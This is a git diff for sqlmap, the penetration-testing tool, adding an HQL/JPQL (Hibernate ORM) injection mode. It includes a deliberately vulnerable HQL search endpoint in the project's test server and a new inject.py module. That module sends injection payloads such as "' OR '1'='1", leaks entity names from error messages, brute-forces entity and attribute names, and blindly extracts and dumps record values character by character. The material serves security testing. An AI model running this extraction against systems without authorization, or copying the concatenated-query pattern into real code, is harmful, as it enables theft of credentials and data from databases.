diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py
index 80290048c..7a432e8ee 100644
--- a/extra/vulnserver/vulnserver.py
+++ b/extra/vulnserver/vulnserver.py
@@ -218,6 +218,92 @@ def nosql_match(params):
else: # $eq, $in (single-valued here) and any literal equality
return record == value
+# --- HQL endpoint (vulnerable Hibernate ORM search over a single mapped entity) -------------------
+# The query "FROM Users u WHERE u.name = ''" is built by string concatenation; the evaluator
+# below reproduces just enough HQL semantics (boolean logic, EXISTS, scalar sub-queries, path
+# resolution) to make sqlmap's --hql engine detect, fingerprint, leak the entity, enumerate mapped
+# attributes and blindly extract their values. Unlike the local Hibernate lab, this endpoint reflects
+# the parser diagnostic, so it also exercises the error-based entity-leak path.
+
+HQL_ENTITY = "org.vulnserver.model.Users"
+HQL_RECORD = {"id": "1", "name": "admin", "password": "s3cr3t", "role": "administrator", "email": "admin@vulnserver.local"}
+
+
+class _HqlError(Exception):
+ pass
+
+
+def _hql_short(name):
+ return re.split(r"[.$]", name)[-1]
+
+
+def _hql_no_row(atom):
+ """True when a row-walk bound "_h2. > " excludes the only record, so the
+ scalar sub-query resolves to NULL and its comparison is false."""
+
+ match = re.search(r"_h2\.\w+>(\d+)", atom)
+ return bool(match) and int(HQL_RECORD["id"]) <= int(match.group(1))
+
+
+def _hql_atom(atom):
+ atom = atom.strip()
+
+ match = re.match(r"^'([^']*)'\s*=\s*'([^']*)'$", atom) # literal '1'='1'
+ if match:
+ return match.group(1) == match.group(2)
+
+ match = re.match(r"^\w+\s*=\s*'([^']*)'$", atom) # outer: name = 'X'
+ if match:
+ return HQL_RECORD["name"] == match.group(1)
+
+ match = re.match(r"^EXISTS\(SELECT 1 FROM (\w+) _h\)$", atom, re.I) # entity brute
+ if match:
+ if _hql_short(match.group(1)) != _hql_short(HQL_ENTITY):
+ raise _HqlError("org.hibernate.query.sqm.UnknownEntityException: Could not resolve root entity '%s'" % match.group(1))
+ return True
+
+ match = re.match(r"^EXISTS\(SELECT _h\.(\w+) FROM (\w+) _h\)$", atom, re.I) # attribute existence
+ if match:
+ attr = match.group(1)
+ if _hql_short(match.group(2)) != _hql_short(HQL_ENTITY) or attr not in HQL_RECORD:
+ raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY))
+ return True
+
+ match = re.match(r"^\(SELECT LENGTH\(CAST\(_h\.(\w+) AS string\)\).*?\)\s*>=\s*(\d+)$", atom, re.I) # scalar length
+ if match:
+ attr, n = match.group(1), int(match.group(2))
+ if attr not in HQL_RECORD:
+ raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY))
+ if _hql_no_row(atom): # row-walk cursor advanced past the only record
+ return False
+ return len(HQL_RECORD[attr]) >= n
+
+ match = re.match(r"^\(SELECT SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\).*?\)\s*=\s*'(.)'$", atom, re.I) # scalar char
+ if match:
+ attr, pos, ch = match.group(1), int(match.group(2)), match.group(3)
+ if attr not in HQL_RECORD:
+ raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY))
+ if _hql_no_row(atom):
+ return False
+ value = HQL_RECORD[attr]
+ return pos <= len(value) and value[pos - 1] == ch
+
+ match = re.match(r"^(?:\w+\.)?(\w+)\s+IS NOT NULL$", atom, re.I) # path probe (entity leak)
+ if match:
+ attr = match.group(1)
+ if attr not in HQL_RECORD:
+ raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY))
+ return HQL_RECORD[attr] is not None
+
+ raise _HqlError("org.hibernate.query.SyntaxException: unexpected token near '%s'" % atom[:24])
+
+
+def hql_evaluate(value):
+ """Evaluate "name = ''" as an HQL boolean; returns True/False or raises _HqlError."""
+
+ clause = "name = '%s'" % value
+ return any(all(_hql_atom(a) for a in term.split(" AND ")) for term in clause.split(" OR "))
+
# --- XPath endpoint (vulnerable search and login, backed by an in-memory XML document) ------------
XPATH_XML = """
@@ -968,6 +1054,22 @@ class ReqHandler(BaseHTTPRequestHandler):
self.wfile.write(output.encode(UNICODE_ENCODING))
return
+ if self.url == "/hql/search":
+ self.send_response(OK)
+ self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING)
+ self.send_header("Connection", "close")
+ self.end_headers()
+
+ name = self.params.get("name", "")
+ try:
+ matched = hql_evaluate(name) # VULNERABLE: input concatenated into HQL
+ output = json.dumps({"results": [HQL_RECORD] if matched else [], "count": 1 if matched else 0})
+ except _HqlError as ex:
+ output = json.dumps({"results": [], "count": 0, "error": str(ex)})
+
+ self.wfile.write(output.encode(UNICODE_ENCODING))
+ return
+
if self.url == "/xpath/search":
self.send_response(OK)
self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING)
diff --git a/lib/controller/checks.py b/lib/controller/checks.py
index a33fd421f..d190d4782 100644
--- a/lib/controller/checks.py
+++ b/lib/controller/checks.py
@@ -83,6 +83,7 @@ from lib.core.settings import FI_ERROR_REGEX
from lib.core.settings import FORMAT_EXCEPTION_STRINGS
from lib.core.settings import GRAPHQL_ERROR_REGEX
from lib.core.settings import HEURISTIC_CHECK_ALPHABET
+from lib.core.settings import HQL_ERROR_REGEX
from lib.core.settings import INFERENCE_EQUALS_CHAR
from lib.core.settings import LDAP_ERROR_REGEX
from lib.core.settings import SSTI_ERROR_REGEX
@@ -1216,6 +1217,13 @@ def heuristicCheckSqlInjection(place, parameter):
if conf.beep:
beep()
+ if not conf.hql and re.search(HQL_ERROR_REGEX, page or ""):
+ infoMsg = "heuristic (HQL) test shows that %sparameter '%s' might be vulnerable to HQL/JPQL (Hibernate ORM) injection (rerun with switch '--hql')" % ("%s " % paramType if paramType != parameter else "", parameter)
+ logger.info(infoMsg)
+
+ if conf.beep:
+ beep()
+
if not conf.xxe and kb.postHint in (POST_HINT.XML, POST_HINT.SOAP) and re.search(XXE_ERROR_REGEX, page or ""):
infoMsg = "heuristic (XXE) test shows that the XML request body might be vulnerable to XML External Entity injection (rerun with switch '--xxe')"
logger.info(infoMsg)
diff --git a/lib/controller/controller.py b/lib/controller/controller.py
index e81daaf48..48f137e9a 100644
--- a/lib/controller/controller.py
+++ b/lib/controller/controller.py
@@ -529,8 +529,8 @@ def start():
checkWaf()
- if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe)) and (conf.reportJson or conf.resultsFile):
- singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe) findings; these are reported on the console only")
+ if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql)) and (conf.reportJson or conf.resultsFile):
+ singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe/--hql) findings; these are reported on the console only")
if conf.graphql:
from lib.techniques.graphql.inject import graphqlScan
@@ -562,6 +562,11 @@ def start():
xxeScan()
continue
+ if conf.hql:
+ from lib.techniques.hql.inject import hqlScan
+ hqlScan()
+ continue
+
if conf.nullConnection:
checkNullConnection()
diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py
index f51325e48..504182e22 100644
--- a/lib/core/optiondict.py
+++ b/lib/core/optiondict.py
@@ -126,6 +126,7 @@ optDict = {
"xpath": "boolean",
"ssti": "boolean",
"xxe": "boolean",
+ "hql": "boolean",
"oobServer": "string",
"oobToken": "string",
"timeSec": "integer",
diff --git a/lib/core/settings.py b/lib/core/settings.py
index ef706ccad..062df34ac 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (...)
-VERSION = "1.10.7.65"
+VERSION = "1.10.7.66"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -1159,6 +1159,54 @@ OOB_POLL_DELAY = 2 # target's own link + webhook.site's eventually-consi
XXE_BLACKHOLE_HOST = "192.0.2.1"
XXE_TIME_THRESHOLD = 5
+# HQL/JPQL (Hibernate, EclipseLink) injection error signatures for error-based
+# detection and ORM fingerprinting. Each tuple is (backend_name, regex_fragment).
+# A match means the injection reached the ORM query parser (not the SQL layer),
+# which is what distinguishes HQL injection from ordinary SQL injection.
+HQL_ERROR_SIGNATURES = (
+ ("Hibernate", r"org\.hibernate\.(?:query|hql|QueryException|exception\.SQLGrammarException)"),
+ ("Hibernate", r"(?:QuerySyntaxException|QueryException|SemanticException|PathElementException|UnknownEntityException|InterpretationException)"),
+ ("Hibernate", r"(?:token recognition error at|unexpected (?:token|end of subtree|AST node)|Could not (?:resolve|interpret) (?:attribute|root entity|path|property)|line \d+:\d+ (?:no viable alternative|mismatched input|token recognition error))"),
+ ("EclipseLink / JPQL", r"(?:org\.eclipse\.persistence\.exceptions\.JPQLException|Exception \[EclipseLink|Problem compiling \[|An exception occurred while creating a query)"),
+ ("JPA / JPQL", r"(?:javax|jakarta)\.persistence\.(?:PersistenceException|Query(?:Syntax|Timeout)?Exception)"),
+ ("Generic HQL/JPQL", r"(?:HQL|JPQL|EJBQL)\b.*?(?:error|exception|syntax|not (?:mapped|resolve))"),
+)
+
+HQL_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in HQL_ERROR_SIGNATURES)
+
+# Regexes that pull the mapped entity/root name out of a Hibernate diagnostic (the
+# ORM equivalent of a leaked table name; HQL has no information_schema so error-based
+# leakage is the native way to learn the entity model). First capture group = name.
+HQL_ENTITY_REGEX = (
+ r"(?:attribute|property|path) '[^']+' of '([\w.$]+)'",
+ r"resolve root entity '([^']+)'",
+ r"(?:entity|class) ['\"]?([\w.$]+[\w$])['\"]? is not mapped",
+)
+
+# Printable-ASCII codepoint bounds bisected during HQL blind character extraction
+HQL_CHAR_MIN = 0x20
+HQL_CHAR_MAX = 0x7e
+
+# Upper bound for the value-length search during HQL blind extraction
+HQL_MAX_LENGTH = 256
+
+# Maximum number of attributes to enumerate per entity during HQL blind extraction
+HQL_MAX_FIELDS = 64
+
+# Maximum number of records walked (ordered by a numeric pin) during HQL blind dump
+HQL_MAX_RECORDS = 100
+
+# Common mapped entity names brute-forced through the boolean oracle when the app
+# does not reflect Hibernate diagnostics (a mapped name keeps the query valid; an
+# unmapped one raises UnknownEntityException and reads as false).
+HQL_COMMON_ENTITIES = (
+ "User", "Users", "Account", "Accounts", "Member", "Members", "Customer",
+ "Customers", "Person", "People", "Employee", "Admin", "Login", "Credential",
+ "Profile", "Role", "Client", "Contact", "Company", "Product", "Order",
+ "Item", "Article", "Post", "Comment", "Category", "Document", "File",
+ "Message", "Group", "Session", "Token", "Application", "Setting",
+)
+
XXE_IMPACT_FILES = (
("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="), # anchored, high-signal
("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"),
diff --git a/lib/core/testing.py b/lib/core/testing.py
index bd3f872c0..cc0215baa 100644
--- a/lib/core/testing.py
+++ b/lib/core/testing.py
@@ -96,6 +96,7 @@ def vulnTest(tests=None, label="vuln"):
("-u \"ldap/search?q=x\" --ldap --flush-session --disable-hashing", ("is vulnerable to LDAP injection", "Title: LDAP in-band data exposure", "LDAP: GET parameter 'q' in-band entries", "in-band data exposure", "LDAP scan complete")), # LDAP: error-based detection (unbalanced paren) + boolean oracle + directory attribute extraction via blind substring probing
("-u \"xpath/search?q=x\" --xpath --flush-session --disable-hashing", ("is vulnerable to XPath injection", "Title: XPath boolean-based blind", "XPath: GET parameter 'q' XML tree", "extracted", "XPath scan complete")), # XPath: error-based detection + boolean oracle + blind XML tree-walking via starts-with character extraction
("-u \"ssti/search?q=x\" --ssti --flush-session --disable-hashing", ("is vulnerable to SSTI", "Title: SSTI Jinja2 injection", "back-end template engine: 'Jinja2'", "in-band arithmetic proof confirmed", "SSTI scan complete")), # SSTI: Jinja2 detection via arithmetic control-pair + boolean oracle + distinguishing probe
+ ("-u \"hql/search?name=admin\" -p name --hql --flush-session --disable-hashing", ("is vulnerable to HQL injection", "back-end: 'Hibernate'", "entity 'Users'", "s3cr3t", "HQL scan complete")), # HQL: error-based Hibernate fingerprint + boolean oracle + error-leaked entity + blind attribute enumeration and substring value extraction
("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
("-d \"\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")),
("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)),
diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py
index f603961bc..c1e0f9ed9 100644
--- a/lib/parse/cmdline.py
+++ b/lib/parse/cmdline.py
@@ -796,6 +796,9 @@ def cmdLineParser(argv=None):
nonsql.add_argument("--xxe", dest="xxe", action="store_true",
help="Test for XML External Entity (XXE) injection")
+ nonsql.add_argument("--hql", dest="hql", action="store_true",
+ help="Test for HQL/JPQL (Hibernate ORM) injection")
+
nonsql.add_argument("--oob-server", dest="oobServer",
help="Out-of-band server for blind '--xxe'")
diff --git a/lib/techniques/hql/__init__.py b/lib/techniques/hql/__init__.py
new file mode 100644
index 000000000..bcac84163
--- /dev/null
+++ b/lib/techniques/hql/__init__.py
@@ -0,0 +1,8 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+pass
diff --git a/lib/techniques/hql/inject.py b/lib/techniques/hql/inject.py
new file mode 100644
index 000000000..96fb8e495
--- /dev/null
+++ b/lib/techniques/hql/inject.py
@@ -0,0 +1,493 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+import difflib
+import re
+import time
+
+from collections import namedtuple
+
+from lib.core.common import beep
+from lib.core.common import randomStr
+from lib.core.convert import getUnicode
+from lib.core.data import conf
+from lib.core.data import logger
+from lib.core.enums import CUSTOM_LOGGING
+from lib.core.enums import PLACE
+from lib.core.settings import HQL_CHAR_MAX
+from lib.core.settings import HQL_CHAR_MIN
+from lib.core.settings import HQL_COMMON_ENTITIES
+from lib.core.settings import HQL_ENTITY_REGEX
+from lib.core.settings import HQL_ERROR_REGEX
+from lib.core.settings import HQL_ERROR_SIGNATURES
+from lib.core.settings import HQL_MAX_FIELDS
+from lib.core.settings import HQL_MAX_LENGTH
+from lib.core.settings import HQL_MAX_RECORDS
+from lib.core.settings import UPPER_RATIO_BOUND
+from lib.request.connect import Connect as Request
+from lib.utils.xrange import xrange
+
+
+SENTINEL = randomStr(length=10, lowercase=True)
+
+HQL_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST)
+
+# Attribute names probed (via an error-vs-valid oracle) once the mapped entity is
+# known. HQL has no information_schema, so a mapped attribute either resolves
+# (valid query) or raises a PathElementException (error page); that difference is
+# the enumeration oracle. Ordered by real-world frequency.
+HQL_COMMON_FIELDS = (
+ "id", "name", "username", "user", "login", "email", "mail", "password",
+ "passwd", "pass", "pwd", "secret", "token", "apikey", "role", "roles",
+ "firstname", "lastname", "fullname", "phone", "address", "city", "country",
+ "active", "enabled", "created", "updated", "description", "title", "status",
+ "type", "code", "key", "hash", "salt", "uuid", "owner", "amount", "price",
+)
+
+# Detection boundaries, priority-ordered. Each is (true, false, extraction prefix,
+# extraction suffix, sentinel-based). The application's own trailing delimiter
+# (the closing quote it appends after the injected value) balances the suffix, so
+# no comment is needed (HQL frequently rejects SQL line comments anyway).
+_BOUNDARY_TABLE = (
+ # (true_breakout, false_breakout, ext_prefix, ext_suffix, sentinel )
+ ("' OR '1'='1", "' AND '1'='2", "' OR ", " OR '1'='2", True),
+ ('" OR "1"="1', '" AND "1"="2', '" OR ', ' OR "1"="2', True),
+ (" OR 1=1", " AND 1=2", " OR ", "", False),
+)
+
+# Boundary carries the extraction prefix/suffix and whether the base value must be
+# a non-matching sentinel (OR-style) so a true predicate flips an empty result set.
+Boundary = namedtuple("Boundary", ("prefix", "suffix", "sentinel"))
+
+Slot = namedtuple("Slot", ("place", "parameter", "backend", "entity", "oracle", "boundary", "payload"))
+Slot.__new__.__defaults__ = (None,) * 7
+
+
+def _ratio(first, second):
+ return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio()
+
+
+def _delim(place):
+ return (conf.cookieDel or ';') if place == PLACE.COOKIE else '&'
+
+
+def _confParameters(place):
+ try:
+ return conf.parameters.get(place, "")
+ except AttributeError:
+ return conf.parameters[place] if place in conf.parameters else ""
+
+
+def _originalValue(place, parameter):
+ for segment in _confParameters(place).split(_delim(place)):
+ name, _, value = segment.partition('=')
+ if name.strip() == parameter:
+ return value
+ return conf.paramDict.get(place, {}).get(parameter) or ""
+
+
+def _replaceSegment(place, parameter, value):
+ delimiter = _delim(place)
+ raw = _confParameters(place)
+ retVal, replaced = [], False
+
+ for part in raw.split(delimiter):
+ name, _, _ = part.partition('=')
+ if not replaced and name.strip() == parameter:
+ retVal.append("%s=%s" % (name, value))
+ replaced = True
+ else:
+ retVal.append(part)
+
+ if not replaced:
+ retVal = []
+ for name, oldValue in conf.paramDict.get(place, {}).items():
+ retVal.append("%s=%s" % (name, value if name == parameter else oldValue))
+
+ return delimiter.join(retVal)
+
+
+def _send(place, parameter, value):
+ """Issue a single HTTP request with the target parameter set to `value`,
+ temporarily mutating conf.parameters so sqlmap's normal request machinery
+ (URL construction, cookies, headers, encodings) is fully preserved."""
+
+ if conf.delay:
+ time.sleep(conf.delay)
+
+ old_params = conf.parameters.get(place, "")
+ conf.parameters[place] = _replaceSegment(place, parameter, value)
+
+ try:
+ if conf.verbose >= 3:
+ logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value))
+ page, _, _ = Request.getPage(raise404=False, silent=True)
+ return page or ""
+ except Exception as ex:
+ logger.debug("HQL probe request failed: %s" % getUnicode(ex))
+ return ""
+ finally:
+ conf.parameters[place] = old_params
+
+
+def _isError(page):
+ return bool(re.search(HQL_ERROR_REGEX, getUnicode(page or "")))
+
+
+def _backendFromError(page):
+ page = getUnicode(page or "")
+ for backend, regex in HQL_ERROR_SIGNATURES:
+ if re.search(regex, page):
+ return backend
+ return None
+
+
+def _entityFromError(page):
+ page = getUnicode(page or "")
+ for regex in HQL_ENTITY_REGEX:
+ match = re.search(regex, page)
+ if match:
+ return match.group(1)
+ return None
+
+
+def _probeError(place, parameter):
+ """Break the HQL string/numeric context and look for an ORM parser diagnostic.
+ Returns (backend, page) - a hint only; the boolean oracle is authoritative."""
+
+ original = _originalValue(place, parameter) or "1"
+ normal = _send(place, parameter, original)
+
+ for suffix in ("'", '"', "'||", " and", ")"):
+ broken = _send(place, parameter, original + suffix)
+ if not broken or _ratio(normal, broken) >= UPPER_RATIO_BOUND:
+ continue
+ backend = _backendFromError(broken)
+ if backend and not _isError(normal):
+ return backend, broken
+
+ return None, None
+
+
+def _boolean(truthy, falsy):
+ """Return the reproducible true page when true/false probes diverge (both must
+ be independently reproducible), else None."""
+
+ truePage = truthy()
+ if truePage is None or _isError(truePage):
+ return None
+ if _ratio(truePage, truthy()) < UPPER_RATIO_BOUND:
+ return None
+
+ falsePage = falsy()
+ if falsePage is None or _isError(falsePage):
+ return None
+ if _ratio(falsePage, falsy()) < UPPER_RATIO_BOUND:
+ return None
+
+ if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND:
+ return truePage
+
+ return None
+
+
+def _detectBoolean(place, parameter):
+ """Return (template, payload, boundary) for boolean-blind HQL injection."""
+
+ original = _originalValue(place, parameter) or ""
+
+ for true_bk, false_bk, prefix, suffix, sentinel in _BOUNDARY_TABLE:
+ truePayload = original + true_bk
+ falsePayload = original + false_bk
+ template = _boolean(lambda p=truePayload: _send(place, parameter, p),
+ lambda p=falsePayload: _send(place, parameter, p))
+ if template:
+ return template, truePayload, Boundary(prefix, suffix, sentinel)
+
+ return None, None, None
+
+
+def _base(boundary, original):
+ # OR-style boundaries need a base value that matches no row so a true predicate
+ # flips an empty result set into a populated one; AND-style keeps the original.
+ if boundary.sentinel:
+ return SENTINEL
+ return "-1"
+
+
+def _wrap(original, boundary, predicate):
+ return "%s%s%s%s" % (original, boundary.prefix, predicate, boundary.suffix)
+
+
+def _makeOracle(place, parameter, template, boundary, original):
+ """Build oracle(predicate) -> bool from a verified true template."""
+
+ cache = {}
+ base = _base(boundary, original)
+
+ def request(payload):
+ if payload not in cache:
+ cache[payload] = _send(place, parameter, payload)
+ return cache[payload]
+
+ def truth(predicate):
+ page = request(_wrap(base, boundary, predicate))
+ if page is None or _isError(page):
+ return False
+ return _ratio(template, page) >= UPPER_RATIO_BOUND
+
+ truth.template = template
+ truth.cache = cache
+ return truth
+
+
+def _leakEntity(place, parameter, boundary, original):
+ """Force a path-resolution error to leak the mapped entity name. An unqualified
+ identifier resolves against the query root, so a random one yields e.g.
+ "Could not resolve attribute 'xyz' of 'com.app.User'"."""
+
+ base = _base(boundary, original)
+ marker = randomStr(length=8, lowercase=True)
+
+ for reference in ("%s", "u.%s", "e.%s", "o.%s", "x.%s", "this.%s"):
+ predicate = "%s IS NOT NULL" % (reference % marker)
+ page = _send(place, parameter, _wrap(base, boundary, predicate))
+ entity = _entityFromError(page)
+ if entity:
+ return entity
+
+ return None
+
+
+def _shortEntity(entity):
+ # com.app.model.User -> User ; lab.App$Member -> Member
+ return re.split(r"[.$]", entity)[-1] if entity else entity
+
+
+def _bruteEntities(truth):
+ """Recover mapped entity names through the boolean oracle alone (no reflected
+ diagnostic needed): a mapped name keeps the FROM clause valid, an unmapped one
+ raises UnknownEntityException and reads as false. Returns every match so the
+ whole reachable model can be dumped, not just the injected query's entity."""
+
+ retVal = []
+ for entity in HQL_COMMON_ENTITIES:
+ if truth("EXISTS(SELECT 1 FROM %s _h)" % entity):
+ retVal.append(entity)
+ return retVal
+
+
+def _enumFields(truth, entity):
+ """Probe common attribute names against the entity; a name that resolves keeps
+ the query valid (oracle true), a missing one raises and reads as false."""
+
+ fields = []
+ for field in HQL_COMMON_FIELDS:
+ if len(fields) >= HQL_MAX_FIELDS:
+ break
+ predicate = "EXISTS(SELECT _h.%s FROM %s _h)" % (field, entity)
+ if truth(predicate):
+ fields.append(field)
+ logger.info("identified mapped attribute: '%s'" % field)
+ return fields
+
+
+# Frequency-ordered printable charset for blind character extraction
+_META_ORDS = set(ord(_) for _ in ("'", '"', '\\'))
+_FREQ = (tuple(xrange(ord('a'), ord('z') + 1)) +
+ tuple(xrange(ord('A'), ord('Z') + 1)) +
+ tuple(xrange(ord('0'), ord('9') + 1)) +
+ tuple(ord(_) for _ in "@._- +:/"))
+_CHARSET = []
+for _ in _FREQ:
+ if HQL_CHAR_MIN <= _ <= HQL_CHAR_MAX and _ not in _META_ORDS and _ not in _CHARSET:
+ _CHARSET.append(_)
+for _ in xrange(HQL_CHAR_MIN, HQL_CHAR_MAX + 1):
+ if _ not in _META_ORDS and _ not in _CHARSET:
+ _CHARSET.append(_)
+
+
+def _scalar(entity, attribute, expr, pin, after=None):
+ """Scalar subquery over a single `entity` row selected by the smallest `pin`
+ (optionally the smallest strictly greater than `after`, to walk rows in order).
+ Alias-independent, so it works regardless of the outer query's alias. `expr`
+ wraps the attribute, cast to string so numeric/temporal values extract too."""
+
+ bound = "" if after is None else " WHERE _h2.%s>%s" % (pin, after)
+ target = "CAST(_h.%s AS string)" % attribute
+ inner = "SELECT %s FROM %s _h WHERE _h.%s=(SELECT MIN(_h2.%s) FROM %s _h2%s)" % (
+ expr % target, entity, pin, pin, entity, bound)
+ return "(%s)" % inner
+
+
+def _inferValue(truth, entity, attribute, pin, after=None, maxLen=HQL_MAX_LENGTH):
+ """Blindly recover one attribute value of the row selected by `pin`/`after`."""
+
+ # length first, by binary search
+ lengthExpr = _scalar(entity, attribute, "LENGTH(%s)", pin, after)
+ if not truth("%s>=1" % lengthExpr):
+ return ""
+
+ lo, hi = 1, maxLen
+ while lo < hi:
+ mid = (lo + hi + 1) // 2
+ if truth("%s>=%d" % (lengthExpr, mid)):
+ lo = mid
+ else:
+ hi = mid - 1
+ length = lo
+
+ chars = []
+ for pos in xrange(1, length + 1):
+ charExpr = _scalar(entity, attribute, "SUBSTRING(%%s,%d,1)" % pos, pin, after)
+ found = None
+ for cp in _CHARSET:
+ literal = chr(cp)
+ if truth("%s='%s'" % (charExpr, literal)):
+ found = literal
+ break
+ chars.append(found if found is not None else "?")
+
+ return "".join(chars)
+
+
+def _grid(columns, rows):
+ columns = [getUnicode(_) for _ in columns]
+ rows = [[getUnicode(_) for _ in row] for row in rows]
+
+ widths = []
+ for index, column in enumerate(columns):
+ width = len(column)
+ for row in rows:
+ if index < len(row):
+ width = max(width, len(getUnicode(row[index])))
+ widths.append(width)
+
+ separator = "+-" + "-+-".join("-" * _ for _ in widths) + "-+"
+
+ def line(cells):
+ return "| " + " | ".join((getUnicode(cells[index]) if index < len(cells) else "").ljust(widths[index]) for index in xrange(len(columns))) + " |"
+
+ return "\n".join([separator, line(columns), separator] + [line(row) for row in rows] + [separator])
+
+
+def _dumpEntity(oracle, place, parameter, entity):
+ """Enumerate an entity's mapped attributes and blindly dump all of its rows."""
+
+ logger.info("enumerating mapped attributes of entity '%s'" % entity)
+ fields = _enumFields(oracle, entity)
+ if not fields:
+ logger.warning("entity '%s' confirmed but no common attribute resolved; the model may use non-standard names" % entity)
+ return
+
+ pin = "id" if "id" in fields else fields[0]
+ columns = list(fields)
+
+ # Walk records in ascending pin order: each row is pinned to the smallest pin
+ # value strictly greater than the previous one. A numeric pin is required to
+ # advance the cursor; otherwise only the first (smallest-pin) row is recovered.
+ rows = []
+ after = None
+ for _ in xrange(HQL_MAX_RECORDS):
+ pinValue = _inferValue(oracle, entity, pin, pin, after)
+ if not pinValue:
+ break
+
+ record = {pin: pinValue}
+ for field in fields:
+ if field != pin:
+ record[field] = _inferValue(oracle, entity, field, pin, after)
+ rows.append([record.get(_, "") for _ in fields])
+ logger.info(" retrieved record: %s" % ", ".join("%s='%s'" % (_, record.get(_, "")) for _ in fields))
+
+ if not re.match(r"\A\d+\Z", pinValue):
+ break
+ after = pinValue
+
+ conf.dumper.singleString("HQL: %s parameter '%s' entity '%s' (%d record%s, ordered by %s):\n%s" % (place, parameter, entity, len(rows), "s" if len(rows) != 1 else "", pin, _grid(columns, rows)))
+
+
+def hqlScan():
+ global SENTINEL
+ SENTINEL = randomStr(length=10, lowercase=True)
+
+ debugMsg = "'--hql' is self-contained: it detects HQL/JPQL (Hibernate ORM) injection "
+ debugMsg += "and blindly recovers the mapped entity model. SQL enumeration switches "
+ debugMsg += "(--banner, --dbs, --tables, --users, --sql-query) do not apply"
+ logger.debug(debugMsg)
+
+ if not conf.paramDict:
+ logger.error("no request parameters to test (use --data, GET params, or similar)")
+ return
+
+ tested = 0
+ slots = []
+
+ for place in (_ for _ in HQL_PLACES if _ in conf.paramDict):
+ for parameter in list(conf.paramDict[place].keys()):
+ if conf.testParameter and parameter not in conf.testParameter:
+ continue
+
+ tested += 1
+ logger.info("testing HQL injection on %s parameter '%s'" % (place, parameter))
+
+ backendHint, _page = _probeError(place, parameter)
+ if backendHint:
+ logger.info("%s parameter '%s' reaches an ORM query parser (back-end: '%s')" % (place, parameter, backendHint))
+
+ template, payload, boundary = _detectBoolean(place, parameter)
+ if not template:
+ if backendHint:
+ logger.info("%s parameter '%s' errors in the ORM parser but no boolean oracle was established" % (place, parameter))
+ continue
+
+ backend = backendHint or "Hibernate"
+ original = _originalValue(place, parameter)
+ # Error leakage only helps when the app actually reflects diagnostics
+ entity = _leakEntity(place, parameter, boundary, original) if backendHint else None
+ logger.info("%s parameter '%s' is vulnerable to HQL injection (back-end: '%s'%s)" % (place, parameter, backend, ", entity: '%s'" % entity if entity else ""))
+ if conf.beep:
+ beep()
+
+ oracle = _makeOracle(place, parameter, template, boundary, original)
+ slots.append(Slot(place=place, parameter=parameter, backend=backend,
+ entity=entity, oracle=oracle, boundary=boundary, payload=payload))
+
+ if not slots:
+ if tested:
+ logger.warning("no parameter appears to be injectable via HQL injection (%d tested)" % tested)
+ else:
+ logger.warning("no parameters found to test for HQL injection")
+ return
+
+ for slot in slots:
+ conf.dumper.singleString("---\nParameter: %s (%s)\n Type: HQL injection\n Title: HQL boolean-based blind\n Payload: %s=%s\n---" % (slot.parameter, slot.place, slot.parameter, slot.payload))
+
+ # Blind extraction covers as much of the mapped model as reachable: the error-leaked
+ # entity (if any) plus every common entity the boolean oracle confirms is mapped.
+ slot = next((_ for _ in slots if _.entity), slots[0])
+
+ entities = []
+ leaked = _shortEntity(slot.entity)
+ if leaked:
+ entities.append(leaked)
+
+ logger.info("recovering mapped entities through the boolean oracle")
+ for entity in _bruteEntities(slot.oracle):
+ if entity not in entities:
+ entities.append(entity)
+
+ if not entities:
+ logger.info("HQL injection confirmed; could not resolve a mapped entity for blind extraction")
+ logger.info("HQL scan complete")
+ return
+
